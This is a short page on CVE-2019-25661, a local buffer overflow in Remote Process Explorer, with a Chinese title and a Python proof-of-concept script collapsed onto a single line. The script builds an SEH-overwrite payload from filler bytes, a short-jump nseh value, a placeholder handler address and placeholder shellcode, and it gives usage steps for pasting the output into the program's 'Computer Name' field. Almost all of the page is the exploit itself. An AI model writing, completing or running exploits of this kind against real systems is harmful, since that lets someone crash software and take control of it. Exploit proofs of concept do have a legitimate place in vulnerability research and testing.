CVE-2019-25661 Remote Process Explorer本地缓冲区溢出漏洞

# Proof of Concept for CVE-2019-25661 # This script generates a malicious payload to trigger the buffer overflow. # Usage: Run the script, copy the output, and paste it into the 'Computer Name' field in Remote Process Explorer 'Add Computer' dialog. import sys def generate_payload(): # Pattern to crash and potentially overwrite SEH # Adjust offsets based on specific debugging if available # Junk filler junk = b'A' * 1000 # SEH overwrite attempt (typical structure) # nseh (next seh) usually a short jump like '\xeb\x06\x90\x90' nseh = b'\xeb\x06\x90\x90' # seh (handler) address (pop pop ret) seh = b'\xdd\xdd\xdd\xdd' # Shellcode placeholder shellcode = b'C' * 500 payload = junk + nseh + seh + shellcode return payload if __name__ == "__main__": buf = generate_payload() print(f"[+] Generated Payload Length: {len(buf)}") print(f"[+] Payload: {buf.decode('latin-1')}")